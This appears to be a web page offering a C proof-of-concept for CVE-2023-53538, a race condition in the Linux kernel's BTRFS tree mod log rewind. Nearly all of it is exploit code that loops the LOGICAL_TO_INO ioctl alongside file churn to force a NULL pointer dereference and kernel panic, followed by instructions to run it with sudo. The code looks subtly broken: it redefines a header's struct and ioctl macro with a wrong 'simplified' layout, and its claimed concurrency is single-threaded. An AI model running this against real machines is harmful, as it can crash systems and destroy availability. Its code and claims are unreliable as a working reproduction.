CVE-2023-53538 Linux内核BTRFS树修改日志回退竞争条件漏洞

// CVE-2023-53538 PoC - Trigger BTRFS tree mod log rewind race condition // This PoC demonstrates how to trigger the NULL pointer dereference // in BTRFS tree mod log rewind via push_node_left #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/btrfs.h> // BTRFS ioctl command for logical to inode resolution // This triggers the backref walking path that hits the race condition #define BTRFS_IOC_LOGICAL_TO_INO _IOWR(BTRFS_IOCTL_MAGIC, 53, \ struct btrfs_ioctl_logical_ino_args) struct btrfs_ioctl_logical_ino_args { __u64 logical; __u64 flags; __u64 inodes[4]; // Simplified structure }; int main(int argc, char *argv[]) { int fd; struct btrfs_ioctl_logical_ino_args args; const char *btrfs_mount = "/mnt/btrfs_test"; // Step 1: Open a file/directory on BTRFS filesystem fd = open(btrfs_mount, O_RDONLY); if (fd < 0) { perror("open"); return 1; } // Step 2: Set up logical inode resolution parameters // The logical address should target a busy B-tree node memset(&args, 0, sizeof(args)); args.logical = 0; // Target logical address args.flags = 0; // Step 3: Continuously trigger logical_to_ino ioctl // This triggers backref walking which may hit the race condition // in tree mod log rewind during push_node_left printf("Triggering CVE-2023-53538 race condition...\n"); printf("This may cause kernel panic if vulnerable.\n"); for (int i = 0; i < 1000; i++) { // Concurrently perform B-tree modifications to trigger // the specific REMOVE/ADD/MOVE sequence in tree mod log ioctl(fd, BTRFS_IOC_LOGICAL_TO_INO, &args); // Force tree mod log operations by creating files char path[256]; snprintf(path, sizeof(path), "%s/test_%d", btrfs_mount, i); int tmp = open(path, O_CREAT | O_WRONLY, 0644); if (tmp >= 0) { write(tmp, "data", 4); close(tmp); unlink(path); } } close(fd); return 0; } // Build instructions: // gcc -o poc poc.c // Run as: sudo ./poc // // Note: This vulnerability requires specific timing to trigger. // Multiple concurrent operations on BTRFS filesystem increase // the likelihood of hitting the race condition in push_node_left // where the tree mod log MOVE operation is not properly recorded.